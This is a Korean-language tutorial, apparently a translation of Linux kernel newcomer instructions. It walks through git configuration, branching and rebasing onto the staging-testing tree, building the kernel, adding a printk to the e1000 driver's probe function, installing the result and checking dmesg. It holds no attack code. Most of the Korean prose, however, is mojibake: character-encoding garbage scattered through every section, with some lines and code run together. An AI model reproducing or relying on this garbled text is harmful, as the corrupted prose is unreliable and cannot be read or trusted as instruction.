(๋ค์ ๋ด์ฉ์ ์ถ๊ฐ ๊ฒ์๊ธ ํน์ ๊ฒ์๊ธ ์์ ์ ํตํ์ฌ ์ ๋ฐ์ดํธ ๋ ๊ฒ์ ๋๋ค.)
git ์ค์ ํ๊ธฐ
์ผ๋จ, git์๊ฒ ์์ ์ ์ด๋ฆ๊ณผ ์ด๋ฉ์ผ์ ์๋ ค์ฃผ์ด์ผํฉ๋๋ค. ๊ทธ๋์ผ git commit์์ ๋๊ฐ ์ด ๋ด์ฉ์ ์์ฑํ๋์ง ์ ์ ์์ฃ . .gitconfig ๋ผ๋ ํ์ผ์ ์์ฑํ๋ค ์ด๋ฌํ ๋ด์ฉ๋ค์ ๋ฃ์ต๋๋ค.
[user]
name = Your Name
email = [email protected]์ด๊ณณ์ ์ ๋ ์ด๋ฉ์ผ์ด ์ด๋ฉ์ผ ์ค์ ํ๊ธฐ ์์ ์์ ํ๋๊ฒ๊ณผ ๋์ผํ ์ด๋ฉ์ผ์ด ๋๋๋ก ํ์ธ์. ๋ฆฌ๋ ์ค ์ปค๋ ๊ฐ๋ฐ์๋ค์ ์ปค๋ฐ ์ ๋ณด์ "From" ์ด๋ฉ์ผ๊ณผ "Signed-off-by" ์ด๋ฉ์ผ์ด ๋ค๋ฅธ ํจ์น๋ฅผ ํ์ฉํ์ง ์์ต๋๋ค.
์ด๋ฆ ์นธ์๋ค๊ฐ๋ ๋ฒ์ ์ด๋ฆ์ ์ ๋๋ก ํ์ธ์. ํจ์นํ Signed-off-by ๋ฅผ ์ถ๊ฐํจ์ผ๋ก์จ ๋น์ ์ Developer's Certificate of Origin์ ์ฝ๊ณ ์ดํดํ๊ฒ์ผ๋ก ๊ฐ์ฃผ๋ฉ๋๋ค. ์ปค๋์ ํจ์น๋ฅผ ๋ณด๋ด๊ธฐ ์ ์ ๋ฌธ์๋ฅผ ์ฝ์ด์ฃผ์ธ์.
์ปค๋ ํธ๋ฆฌ(์ปค๋ ๊ตฌ์กฐ) ์ดํด๋ณด๊ธฐ
๋จผ์ ํฐ๋ฏธ๋์ ์ด์ด์ฃผ์ธ์.
ํ
์ธ์ ๋
๋ฏธ๋ฆฌ ์ค์ ํด๋ ๋๋ ํ ๋ฆฌ๋ก ์ด๋ํ์ธ์.
cd /get/kernels/staging์ด๊ฒ์ด ๋ฆฌ๋
์ค ์ปค๋ ํธ๋ฆฌ์
๋๋ค. ls ๋ช
๋ น์ด๋ cd ๋ช
๋ น์ด๋ก ํ์ํ์ค ์ ์์ต๋๋ค.
ls๋ฅผ ํ๊ฒ ๋๋ฉด ๋ช๊ฐ์ง ๋ค๋ฅธ ํด๋๋ค์ ๋ณด์๊ฒ ๋ ํ
๋ฐ์.
์ฌ์ค์ ๋์ผ๋ก ๋ณด์ด๋๊ฒ๋ณด๋ค ๋ ๋ง์ ๋๋ ํ ๋ฆฌ๊ฐ ์์ต๋๋ค! ls -a ๋ช
๋ น์ด๋ฅผ ์คํํ์๊ฒ ๋๋ฉด, .git ์ด๋ผ ๋ถ๋ฆฌ๋ ์จ๊ฒจ์ง ๋๋ ํ ๋ฆฌ๋ฅผ ๋ณด์ค๊ฑฐ์์. ์ด ๋๋ ํ ๋ฆฌ๋ git์ด branch ์ถ์ , ์๊ฒฉ ์ ์ฅ์, ๋ก์ปฌ ๋๋ ํ ๋ฆฌ์ ์๋ ํ์ผ์ ์์ ํ๊ณค ํ ๋ ์ฌ์ฉ๋ฉ๋๋ค.
์ปค๋ฐ ๊ธฐ๋ก๋ค์ด ๋ณด๊ณ ์ถ์ผ์๋ค๋ฉด,
git log๋ช ๋ น์ด๋ก ๋ณผ ์ ์๊ณ , ๋ณด๋ค ๊ฐ๊ฒฐํ ํ์์ ์ํ๋ค๋ฉด ๋ค์์ ๋ช ๋ น์ด๋ฅผ ์คํํ๋ฉด ๋ฉ๋๋ค.
git log --pretty=oneline --abbrev-commitgit ๊ธฐ์ด
Git์ ๋ถ์ฐ ๋ฒ์ ๊ด๋ฆฌ ์์คํ ์ ๋๋ค. ๋ฐ๋ผ์ ๋ด ์ฝ๋์ ๋ฒ์ ์ ๋ค๋ฅธ ๊ฐ๋ฐ์๋ค๊ณผ ์ด์ผ๊ธฐํ๋ฉด์ ๊ท์ฐฎ๊ฒ ๋ง์ถ ํ์ ์์ด ํ๋ก๊ทธ๋๋ฐ ํ ์ ์๋ค๋ ๊ฒ์ด์ฃ . ๋์ git checkout์ ์ปค๋ ์ ์ฅ์์ ๋ถ๋ฆฌ๋ ๋ณต์ฌ๋ณธ์ด๋ผ๊ณ ์๊ฐํ์ธ์.
Git์ branch ๊ธฐ๋ฅ์ ์ง์ํฉ๋๋ค. ๊ฐ๊ฐ์ branch๋ ์์ ํ ๋ค๋ฅธ ํจ์น๋ค์ ๊ฐ์ง ์ ์์ต๋๋ค. ์ปค๋ ๊ฐ๋ฐ์๋ค์ ๋ณดํต ํจ์น๋ชจ์(patchset)๋ณ๋ก Branch๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์๋ฅผ ๋ค์ด์, ํ๋์ ๋ฒ๊ทธ ์์ ์ ๋ด๊ณ ์๋ ํ๋์ branch๊ฐ ์์ ์ ์๊ณ , ๋๋จธ์ง ํ๋์ branch๋ ์์ ์ค์ธ ์๋ก์ด ๊ธฐ๋ฅ์ด ๋ด๊ธด ์ปค๋ฐ์ ๋ด๊ณ ์๋ ์ปค๋ฐ์ด ๋ ์ ์์ต๋๋ค.
git branch ๋ช
๋ น์ ํตํด์ ๋ด๊ฐ ํ์ฌ ์ด๋ branch์ ์๊ณ , ๋ค๋ฅธ branch๋ค์ด ๋ญ๊ฐ ์๋์ง ๋ณผ ์ ์์ต๋๋ค.
intern@ubuntu:~/git/kernels/staging$ git branch
* staging-testing์ด ๊ฒฝ์ฐ, staging-testing์ด๋ผ๋ ํ๋์ branch ๋ฐ์ ์์ฃ ? ๋ณ ํน์๋ฌธ์๋ ํ์ฌ ๋ด๊ฐ ์์ ํ๊ณ ์๋ branch๊ฐ staging-testing์ด๋ผ๋๊ฒ์ ๋งํฉ๋๋ค. git ์์ผ๋ก ๋งํ์๋ฉด, ํ์ฌ master branch๋ฅผ 'check out' ํ๋ค๊ณ ํฉ๋๋ค.
'first-patch' ๋ผ๋ branch๋ฅผ ๋ง๋ค๊ณ , ํด๋น branch๋ฅผ ๋ค์ ๋ช ๋ น์ด๋ฅผ ํตํด checkout ํ์ธ์.
git checkout -b first-patchgit branch๋ฅผ ์คํ์์ผฐ๋ค๋ฉด, ํ์ฌ "first-patch" branch์ ์๊ณ , ๋๊ฐ์ง์ branch๊ฐ ์๋ค๋๊ฒ์ ์ ์ ์์ต๋๋ค.
intern@ubuntu:~/git/kernels/staging$ git branch -a
* first-patch
staging-testing
remotes/origin/HEAD -> origin/master
remotes/origin/master
remotes/origin/staging-linus
remotes/origin/staging-next
remotes/origin/staging-testing
remotes/origin/testgit checkout์ ๋ง๋ค๊ธฐ ์ํด ์ฌ์ฉ๋์๋ ์ฒซ๋ฒ์งธ git ์๊ฒฉ ์ ์ฅ์๋ "origin" ์ด๋ผ๊ณ ๋ถ๋ฆฝ๋๋ค. ์ง๊ธ ์์ ์์, "origin"์ ๊ทธ์ Greg Kroah-Hartman์ staging git ์ ์ฅ์๋ผ๋์ ์ ์์๋์ธ์. ์ด์ staging remote๊ฐ master, staging-linus, staging-next, staging-testing, test ์ด๋ ๊ฒ ๋ค์ฏ๊ฐ์ branch๋ฅผ ๊ฐ๊ณ ์๋๊ฒ์ ๋ณด์ค์ ์๋๋ฐ์. staging-linus branch๋ ๋ฆด๋ฆฌ์ฆ๋ ํ๋ณด ์ปค๋์ ๋ฒ๊ทธ ์์ ํจ์น๋ฅผ ํฌํจํ๊ณ ์๊ณ , staging-next branch๋ ๋ค์ ์ปค๋ ๋ฆด๋ฆฌ์ฆ๋ฅผ ์ํ ํจ์น๋ฅผ ํฌํจํ๊ณ ์์ต๋๋ค. ๋์ ํจ์น๋ค์ staging-testing์ผ๋ก ๋ค์ด๊ฐ๊ฒ์ ๋๋ค. ๊ทธ๋ฌ๋ ๋น์ ์ ๋ชจ๋ branch์ ๊ธฐ๋ฐ์ staging-testing์ผ๋ก ํ์ธ์. Greg๋ ์ฒซ ํจ์น๋ฅผ staging-testing์ ์ ์ถํฉ๋๋ค. ๊ทธ ํจ์น๋ค์ ๊ทธ ํ์ staging-next๋ก ์ฎ๊ฒจ์ง์ฃ .
๋ด ์ปค๋์ ์ ๋ฐ์ดํธ ํ๋ ๋ฐฉ๋ฒ
์ฒซ ์ดํ๋ฆฌ์ผ์ด์ clean-up ํจ์น๋ฅผ ๋ง๋ค ๋, ํจ์น๋ค์ staging-testing ํธ๋ฆฌ์ ํ์ ๋ง๋ค๊ณ ์ถ์๊ฒ๋๋ค. ๋ง์ฝ์ ๋ด ํจ์น๊ฐ ์ค๋๋ ๋ฒ์ ์ด๊ณ ์ต์ ๋ฒ์ ์ ํธ๋ฆฌ์ ์ ์ฉ๋์ง ์์๋ค๋ฉด, ์๋ง ๊ฑฐ๋ถ๋นํ ๊ฒ๋๋ค. ๊ทธ๋์ ๋ค์์ ๋ช ๋ น์ด๋ก ์ต๊ทผ ์์ ์ฌํญ์ ๋ฐ์ํ ํ์๊ฐ ์์ต๋๋ค.
git fetch origin์ ๋ช ๋ น์ ์ธ๋ฒ์งธ ๋จ์ด๋ ์ด๋ ์๊ฒฉ ์ ์ฅ์์์ ๊ฐ์ ธ์ฌ์ง๋ฅผ ์๋ฏธํฉ๋๋ค. ์ด ๊ฒฝ์ฐ์์๋ origin, ์ฆ ์ฐ๋ฆฌ๊ฐ ์ด๊ธฐ์ cloneํด์จ ์๊ฒฉ ์ ์ฅ์๋ค์.(staging repository ๋ง์ ๋๋ค.)
์ด ๋ช ๋ น์ ์๊ฒฉ ์ ์ฅ์๋ก๋ถํฐ ์์ ์ฌํญ์ ๊ฐ์ ธ์ฌ๊ฒ์ด์ง๋ง ์ค์ ํ์ผ๋ค์ ์์ ํ์ง๋ ์์๊ฒ์ ๋๋ค.
git log๋ช ๋ น์ด๋ฅผ ์คํํ๋ฉด ํ์ฌ ์์ ์ค์ธ ๋๋ ํ ๋ฆฌ๊ฐ ์ฌ์ ํ ๋ณธ๋์ ์ปค๋ฐ์ ๊ฐ๋ฆฌํค๊ณ ์๋ค๋๊ฒ์ ์ ์ ์์ต๋๋ค. ๊ทธ๋ ๋ค๋ฉด ํ์ฌ ์์ ์ฌํญ์ staging tree๋ ์ด๋์ ์์๊น์?
git์ .git ์ด๋ผ๋ ํน๋ณํ ๋๋ ํ ๋ฆฌ์ ๋ณ๊ฒฝ์ฌํญ๋ค์ ์ ์ฅํฉ๋๋ค. git log ์ origin์ "staging-testing" branch๋ฅผ ์ฃผ๋๊ฒ์ผ๋ก staging ์ ์ฅ์์ ์ญ์ฌ๋ฅผ ๋ณผ ์ ์์ต๋๋ค.
git log origin/staging-testing๋ค์์ผ๋ก, ์ด์ staging tree์ ๋ณ๊ฒฝ์ฌํญ์ ํฌํจ์ํค๊ธฐ ์ํด branch๋ฅผ ์ ๋ฐ์ดํธ ํด์ผํฉ๋๋ค. ์ ๋ฐ์ดํธ๋ฅผ ํ๊ธฐ ์ํ ๊ฐ์ฅ ์์ ํ ๋ฐฉ๋ฒ์ ๋์ branch๋ฅผ "rebase" ํ๋๊ฒ์ธ๋ฐ์, ์ด ๋ง์ ๋ง์ฝ ๋ด ๋ธ๋์น์ ์ด๋ค ์ปค๋ฐ์ด ์๋ค๊ณ ํ๋๋ผ๋ staging tree์ ์ต์ ๋ด์ฉ๋ค๋ก ๋ฎ์ด์์์ง๊ฒ์ ๋๋ค. ๊ฐ๋ ์ถฉ๋์ด ๋๋ฉด ์ปค๋ฐ์ ์์ ํด์ผ ํ ์๋ ์๋๋ฐ์. ๊ทธ๋ฐ ์ํฉ์์๋ ๋ฉํ ์๊ฒ ๋์์ ์ฒญํ์๋ฉด ๋ฉ๋๋ค. ์ด์ฐ๋ฌ๋ ์ง๊ธ์, ๋ค์์ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ์ธ์.
git rebase origin/staging-testing git log ๋ช
๋ น์ด๋ฅผ ์คํํด์ staging branch์ ์ญ์ฌ๋ฅผ ๋ณธ ๋ค์ git log origin/staging-testing ๋ช
๋ น์ด๋ฅผ ์คํํด์ staging-testing ์ branch ์ญ์ฌ๋ฅผ ๋ด๋ณด์ธ์.
์ ํํ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์ค์ฃ ? :)
์ปค๋ ์ค์ ํ๊ธฐ
๊ทธ ๋ค์ ๋จ๊ณ๋ ์ปค๋ ์ค์ ํ์ผ์ ์์ฑํ๊ณ , ์ ์ปค๋์ ์ปดํ์ผ ํ ๋ค ์ค์นํ๋ ๊ณผ์ ์ ๋ํด ๋ค๋ฃน๋๋ค.
์ ์ผ ๋จผ์ ์์์ผ ํ ๊ฒ์, ๋ฆฌ๋ ์ค ์ปค๋์ ์ด๋ ํ ๋ถ๋ถ์ด๋ ์ค์ ์ด ๊ฐ๋ฅํ๋ค๋ ์ ์ ๋๋ค. ๊ฐ๊ฐ์ ๋๋ผ์ด๋ฒ๋ค์ ๋ ๋ฆฝ์ ์ผ๋ก ์ค์น๊ฐ ๋ ์ง ์๋ ์ง ์ค์ ๋ ์ ์์ต๋๋ค. ๋๋ผ์ด๋ฒ ์ค์น์๋ ์ธ๊ฐ์ง์ ์ต์ ์ด ์๋๋ฐ์.
- ๋๋ผ์ด๋ฒ๋ฅผ ์๋ฒฝํ ๋นํ์ฑํ ํ๊ฑฐ๋
- ๋๋ผ์ด๋ฒ๋ฅผ ๋ฉ์ธ ์ปค๋ ํ์ผ ์์ ๋น๋ ํ๊ฑฐ๋ (vmlinuz)
- ๋ชจ๋๋ก ๋น๋ ํ๋๊ฒ
์ด๋ ๊ฒ ์ธ๊ฐ์ง๊ฐ ์์ต๋๋ค.
๋๋ผ์ด๋ฒ๋ฅผ ๋ฉ์ธ ์ปค๋ ์์ ๋น๋ํ๊ฒ ๋๋ฉด, ๋ถํ ๋ ๋ ๋ก๋ ๋ฉ๋๋ค. ์ด ๊ฒฝ์ฐ, ์ปค๋์ ๋ฐ๋ถ๋ถ์ ๋ถํ ์์ ์์คํ ์๊ฒ ์๋ตํ์ง ์์์๋ ์๋ ํ๋์จ์ด๋ฅผ ์ํด ๋ ๋ง์ ์ฝ๋๋ฅผ ๋ก๋ํ๊ฒ ๋ฉ๋๋ค. ์ด๊ฒ์ ๋ง๊ธฐ ์ํด์ ์ปค๋ ๊ฐ๋ฐ์๋ค์ ๋๋ผ์ด๋ฒ๋ฅผ ์ฃผ๋ก "๋ชจ๋"๋ก ๋น๋ํ๊ณค ํฉ๋๋ค. ๋ชจ๋์ ์ปค๋์ด ๋๋ผ์ด๋ฒ์ ๋ง๋ ํ๋์จ์ด๋ฅผ ๋ฐ๊ฒฌํ์๋ ๋ก๋๋๋, ๋จ๋ ์ ์ผ๋ก ๋์๊ฐ๋ .ko ํ์ฅ์์ ๋๋ผ์ด๋ฒ ํ์ผ์ ๋๋ค. ๊ทธ๋ฌ๋๊น ์ ๋ฆฌํ์๋ฉด, WiFi ๋๋ผ์ด๋ฒ๋ฅผ ๋ชจ๋๋ก์ ์ค์ ํ ์ ์๊ณ , ์ปค๋์ WiFi ์นด๋๋ฅผ ๊ฐ์งํ์๋ ๊ทธ ๋ชจ๋์ ๋ก๋ ํ๋ค๋๊ฑฐ์ฃ .
๋ฆฌ๋ ์ค ์ปค๋์ make ์์คํ ์ ์ด๋ค ๋๋ผ์ด๋ฒ๋ค์ด ์ปค๋์์ ์ปดํ์ผ ๋์ด์๋์ง, ๋ชจ๋๋ก ์ปดํ์ผ ๋์ด์๋์ง๋ฅผ ์ ์ฅํ๋ .config ๋ผ๋ ํน๋ณํ ํ์ผ์ ์ฌ์ฉํฉ๋๋ค. ๋๋ถ๋ถ์ ๋ฆฌ๋ ์ค ๋ฐฐํฌํ๋ค์ ๋ฐฐํฌ๋ ์ปค๋์ ์ปดํ์ผ ํ๊ธฐ ์ํด ์ฌ์ฉํ .config ํ์ผ์ /boot/ ๋๋ ํ ๋ฆฌ์ ์ ์ฅํ๊ณ ์์ต๋๋ค.
intern@ubuntu:~/git/kernels/staging$ ls /boot/
System.map-4.8.0-2-amd64 System.map-4.9.0-rc8-amd64 config-4.9.0-1-amd64 grub initrd.img-4.9.0-1-amd64 lost+found vmlinuz-4.9.0-1-amd64
System.map-4.9.0-1-amd64 config-4.8.0-2-amd64 config-4.9.0-rc8-amd64 initrd.img-4.8.0-2-amd64 initrd.img-4.9.0-rc8-amd64 vmlinuz-4.8.0-2-amd64 vmlinuz-4.9.0-rc8-amd64config-* ํ์ผ์ ๋์ git tree ์ .config ํ์ผ์ ๋ณต์ฌํจ์ผ๋ก์จ ์ฐ๋ฆฌ๋ ๋ฐฐํฌํ์ ์ค์ ์ ๋ณต์ ํ ์ ์์ต๋๋ค. ์ด๊ฒ์ ๊ฐ์๋จธ์ ์ ์ด๋ฏธ์ง ์์์ ํญ์ ์ด๋ฃจ์ด์ ธ ์๋ ์ผ์ ๋๋ค.
์ปค๋ ์ค์ ์ ๊ดํ ๋ ๋ง์ ๋ด์ฉ์ ์ด๊ณณ์์ ๋ณด์ค ์ ์์ต๋๋ค.
์ปค๋ ์ปดํ์ผ ํ๊ธฐ
๋ค์์ผ๋ก, ์ ์ปค๋์ ์ปดํ์ผ ํ๊ธฐ์ ํด์๋ make ๋ฅผ ์คํ์ํฌ ํ์๊ฐ ์์ต๋๋ค. ์ถ๊ฐ์ ์ผ๋ก, ์ปดํ์ผ์ ์์ํ ๋ ์ผ๋ง๋ ๋ง์ ์ฐ๋ ๋๋ฅผ ์ฌ์ฉํ ์ง ์๋ ค์ฃผ๋ ์ต์
๋ ์ค ์ ์์ต๋๋ค. ๋ณดํต ๋ด ๊ธฐ๊ธฐ์ CPU ๊ฐ์๋งํผ ์ซ์๋ฅผ ์ก๊ณค ํฉ๋๋ค. ๊ทธ๋ฌ๋๊น, ๋ง์ฝ ๋์ผ์ฝ์ด๋ผ๋ฉด
make -j2์ด๋ ๊ฒ ์ค ์ ์๋ค๋๊ฑฐ์ฃ . ์๋ง ์ด ๊ณผ์ ์ ์๊ฐ์ด ๊ฝค ๊ฑธ๋ฆด๊ฒ๋๋ค. ๊ธฐ๋ค๋ฆฌ๋๋์ Linux Device Drivers Book์ ์ฝ๋๊ฒ์ ์ถ์ฒ๋๋ฆฝ๋๋ค.
๋๋ผ์ด๋ฒ์ ๋ณ๊ฒฝ์ฌํญ ๋ง๋ค๊ธฐ
๋ฐ์ ๋ช๊ฐ์ง ๊ณผ์ ๋ค์ ๋๋ผ์ด๋ฒ์ ๋ณ๊ฒฝ์ฌํญ์ ๋ง๋ค๊ณ , ๋ด๊ฐ ์ ๋๋ก ๋๋ผ์ด๋ฒ๋ฅผ ์ปดํ์ผํ๊ณ ์์ ๋ ๋๋ผ์ด๋ฒ๋ฅผ ์ ์ค์นํ๋์ง ํ ์คํธ ํ๋ ๋ฐฉ๋ฒ์ ๋ํด ๋ค๋ฃน๋๋ค.
๊ฐ์๋จธ์ ์์ ๋๋ผ์ด๋ฒ ์์ ํ๊ธฐ
๋ฆฌ๋ ์ค๋ฅผ ๊ฐ์๋จธ์ ์์์ ๋๋ฆฌ๊ณ ์๋ค๋ฉด, ์ด ์ค๋ช ๋ค์ ๋ฐ๋ผ์ฃผ์ธ์. ๊ทธ๊ฒ ์๋๋ผ ๋ฆฌ๋ ์ค๋ฅผ ๋ค์ดํฐ๋ธ๋ก ๋๋ฆฌ๊ณ ์๋ค๋ฉด ๋ค์ ์น์ ์ผ๋ก ๊ฐ์ฃผ์๋ฉด ๋๊ฒ ์ต๋๋ค.
๋ชจ๋ VM ์ด๋ฏธ์ง์์ ๋ค์ด์๋ ํ๋์ ๋๋ผ์ด๋ฒ๋ ์ธํ ์ด๋๋ท ๋๋ผ์ด๋ฒ์ธ e1000 ๋๋ผ์ด๋ฒ์ ๋๋ค. ๋ง์ฝ ๋ฆฌ๋ ์ค๋ฅผ ๋ค์ดํฐ๋ธ๋ก ๋๋ฆฌ๊ณ ์๋ค๋ฉด, ๋ค๋ฅธ ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ์์ผ ํ ๊ฒ๋๋ค. ๋ค์ ๋๋ผ์ด๋ฒ ์น์ ์์ ์ ์ ํ ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ๋ ๋ฐฉ๋ฒ์ ๋ํด ์ฐพ์๋ณด์ธ์.
e1000๋๋ผ์ด๋ฒ๋ ์ปค๋์ ๋คํธ์ํฌ ๋ถ๋ถ์์ ์ฐพ์ ์ ์์ต๋๋ค.
intern@ubuntu:~/git/kernels/staging$ ls drivers/net/ethernet/intel/e1000/
e1000_ethtool.c e1000.h e1000_hw.c e1000_hw.h e1000_main.c e1000_osdep.h e1000_param.c Makefile์ด์ e1000๋๋ผ์ด๋ฒ์ probe ํจ์์ ์์ ์์ ์ฌํญ์ ๋ง๋ค์ด๋ด ์๋ค. ์, probe ํจ์๋ ๋๋ผ์ด๋ฒ๊ฐ ํธ์ถ๋ ๋ ๋ก๋๋๋ ํจ์์ ๋๋ค. e1000_main.c๋ฅผ ์์ ํด๋ด ์๋ค.
vim drivers/net/ethernet/intel/e1000/e1000_main.c๊ทธ ๋ค์์ผ๋ก probe ํจ์๋ฅผ ์ฐพ์ต๋๋ค. standard ๋ชจ๋์์ '/' ํค๋ฅผ ๋๋ฅด๋๊ฒ์ผ๋ก ๊ฒ์๊ธฐ๋ฅ์ ์ด์ฉํ ์ ์์ต๋๋ค. probe ํจ์๋ฅผ ์ฐพ์๋ค๋ฉด, ์ด๋ ๊ฒ printk ํจ์๋ฅผ ์ถ๊ฐํด๋ด ์๋ค.
static int e1000_probe(struct pci_dev *pdev, const struct pci_device_id *ent) {
struct net_device *netdev;
struct e1000_adapter *adapter;
struct e1000_hw *hw;
printk(KERN_DEBUG "I can modify the Linux kernel!\n");
static int cards_found = 0;๊ทธ ๋ค์์ :wq<์ํฐ> ๋ฅผ ๋๋ฌ ํ์ผ์ ์ ์ฅํ๊ณ ๋์ค์ธ์. :x<์ํฐ> ๋ ๊ฐ์ ๊ธฐ๋ฅ์ ํฉ๋๋ค.
printkํจ์๋ ์ปค๋ ๋ก๊ทธ ๋ฒํผ์ ์ํด ์์ฑ๋ ๋ฉ์์ง๋ฅผ ๋ง๋๋๋ฐ์. ์ด ๋ฒํผ๋ dmesg ๋ช ๋ น์ ์ด์ฉํด ๋ณผ ์ ์์ต๋๋ค.
๋ค์ดํฐ๋ธ ๋ฆฌ๋ ์ค์์ ๋๋ผ์ด๋ฒ ์์ ํ๊ธฐ
๋ค์ดํฐ๋ธ ๋ฆฌ๋
์ค ์์คํ
์ ๊ฐ์๋จธ์ ์ ๋นํด ์ ๋ง ๋ค์ํ๊ณ ๋ง์ ์ข
๋ฅ์ ๋๋ผ์ด๋ฒ๋ค์ด ๋ก๋๋ฉ๋๋ค. ์์์ ์ธ๊ธํ e1000 ๋๋ผ์ด๋ฒ๊ฐ ๋ ์ ์๋ ํ๋์จ์ด๋ฅผ ๋ด๊ฐ ๊ฐ๊ณ ์์ง ์์์๋ ์๋ค๋๊ฑฐ์ฃ . ๋์ , ์ด๋ค ๋๋ผ์ด๋ฒ๊ฐ ๋ด ์์คํ
์ ๋ก๋๋์๋์ง ์ฐพ์๋ด์ด์ผ ํฉ๋๋ค. ๊ทธ ์ค ํ๋๋ฅผ ์์ ํด๋ด
์๋ค. ๋จผ์ lsmod๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ ๋๋ผ์ด๋ฒ๋ค์ด ๋ก๋๋์ด์๋์ง ํ์ธํ๊ณ , ์์ ํ ํ๋๋ฅผ ๊ณจ๋ผ๋ด
์๋ค. e1000์ ๋น์ทํ ์ข
๋ฅ์ ๋๋ผ์ด๋ฒ๊ฐ ์๋ค๋ฉด ๊ทธ๊ฑธ ๊ณ ๋ฅด์
๋ ๋๊ณ ์, ๊ทธ๋ ์ง ์๋ค๋ฉด ์์ ํ ๋๋ง์ ๋ฌด์ ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ์์ ๊ทธ๊ฑธ ์์ ํ์
๋ ๋ฉ๋๋ค.
๋๋ผ์ด๋ฒ์ ์ด๋ฆ์ ์์๋ค๋ฉด, ์ด์ ๊ทธ ๋๋ผ์ด๋ฒ ํ์ผ์ .c์ .h ํ์ผ์ด ๋ฆฌ๋
์ค์ปค๋ ์ ์ฅ์ ์ด๋์ ์๋์ง ํ์ธํ ์ฐจ๋ก์
๋๋ค. Makefiles๋ฅผ ํตํด ์ด๋ค C ํ์ผ์ด ๋๋ผ์ด๋ฒ ๋ฐ์ด๋๋ฆฌ์ ์ปดํ์ผ ๋์ด์๋์ง๋ฅผ ์์๋ด์ด ๊ฒ์ํ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ๊ฒ์ํ๊ธฐ ์ํ ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ git grep ์ ์ฌ์ฉํ๋๊ฒ์
๋๋ค. ์ผ๋ฐ์ ์ธ grep๊ณผ ๋ค๋ฅด๊ฒ git grep์ ์ ์ฅ์์ check in ๋ ํ์ผ๋ค๋ง ๊ฒ์ฌํฉ๋๋ค. ์ผ๋ฐ์ ์ธ grep์ ๋ฐ์ด๋๋ฆฌํ์ผ, ์ฌ์ง์ด๋ .git ๋๋ ํ ๋ฆฌ๊น์ง ๊ฒ์ฌํ๋, ์ผ๋ง๋ ์๊ฐ์ด ์๊น์ต๋๊น?
์๋ฅผ๋ค์ด์, xhci-hcd ๋๋ผ์ด๋ฒ ์์ ์ปดํ์ผ๋ ํ์ผ์ ์ฐพ๋๋ค๊ณ ์น๋ฉด, ์ด๋ฐ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ๋ฉด ๋ฉ๋๋ค.
git grep xhci-hcd -- '*Makefile'ํ๋ฒ ๋๋ผ์ด๋ฒ๋ฅผ ์ํ ํ์ผ๋ค์ ์์๋ด๊ณ ๋๋ฉด, ์ ์น์ ์์ ๋ค๋ฃจ์๋๊ฒ์ฒ๋ผ probe ํจ์๋ฅผ ์์ ํ๋ฉด ๋ฉ๋๋ค.
์์ ์ฌํญ ์ปดํ์ผํ๊ธฐ
make๋ฅผ ์ฌ์ฉํด ์ปค๋์ ์ฌ ์ปดํ์ผํฉ์๋ค.
make -j2๋ช๊ฐ์ง ์ปดํ์ผ ์๋ฌ๋ฅผ ๊ณ ์ณ์ผ ๋๋ค๊ณ ๋ฐ๊ฑด๋ฐ์. ์์ ์ผ๋ก ์ธํ์ฌ ์๊ธด ์๋ก์ด ๊ฒฝ๊ณ ๋ค๋ ๊ฐ์ด ๊ณ ์ณ์ฃผ๋๋ก ํฉ์๋ค. ๋ฆฌ๋ ์ค ์ปค๋์์๋ ๋๋ผ์ด๋ฒ๊ฐ ๋๊ตฌ์ ์์คํ ์์๋ ๊ฒฝ๊ณ ๋ฅผ ๋ฐ์ํ์ง ์๋๋ก ํ๊ธฐ์ํด ์ด๋ ฌํ ์ธ์ฐ๊ณ ์๊ฑฐ๋ ์.(์, ์ฌ๊ธฐ์ ๋งํ๋ ๋๊ตฌ์ ์์คํ ์ 32-bit์ 64-bit, ๋ค๋ฅธ ์ํคํ ์ณ๋ ํฌํจํฉ๋๋ค.) ์ถ๊ฐ์ ์ธ ๊ฒฝ๊ณ ๋ฅผ ๋ฐ์์ํค๋ ์๋ก์ด ๊ธฐ๋ฅ์ด๋ ๋ฒ๊ทธ ํฝ์ค ํจ์น๋ merge๋์ง ์์๊ฒ์ ๋๋ค.
๋ณ๊ฒฝ์ฌํญ ์ค์นํ๊ธฐ
๋๋ผ์ด๋ฒ๋ฅผ ์ปดํ์ผ ํ ๋ค์, ๋ค์์ ๋ช ๋ น์ด๋ฅผ ํตํด ๋ณ๊ฒฝ์ฌํญ์ ์ค์นํด๋ด ์๋ค.
sudo make modules_install install๋ณ๊ฒฝ์ฌํญ ํ ์คํธํ๊ธฐ
์์ ํ ์๋ก์ด ์ปค๋์ ์ปดํ์ผ ํ๊ธฐ๋๋ฌธ์, ๋ชจ๋์ ๋ณ๊ฒฝ์ฌํญ์ ํ ์คํธ ํ๊ธฐ ์ํด์ ์ฐ๋ฆฌ๊ฐ ๋ง๋ ๊ทธ ์ปค๋ ์์ผ๋ก ๋ถํ ํด์ผํฉ๋๋ค. ์ปดํจํฐ๋ฅผ ์ฌ๋ถํ ์ํค๊ณ , ๋ค์์ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ์ธ์.
dmesg | less"/I can modify"๋ฅผ ์ณ์ ์ฐ๋ฆฌ๊ฐ ์๊น ๋ง๋ค์๋ printk๋ฅผ ์ฐพ์๋ณด์ธ์. ์๋ง ๋ถํ ๋์ค์ ๋๋ผ์ด๋ฒ์ ๊ฒฐ๊ณผ๊ฐ์ผ๋ก ์๊ธด ์ด ๋ฉ์์ง๋ฅผ ์ฐพ์ ์ ์์๊ฒ์ ๋๋ค. ๋ชป์ฐพ์ผ์ จ๋ค๊ตฌ์? irc.oftc.net ์์ #kernel-outreachy ์ IRC ์ฑ๋, ํน์ outreachy-kernel mailing list ์์ ๋์์ ์์ฒญํด๋ณด์ธ์.
๋ณ๊ฒฝ์ฌํญ์ ๋๋๋ฆฌ๊ธฐ
๊ทธ๋ฅ ๊ฐ๋จํ ํ
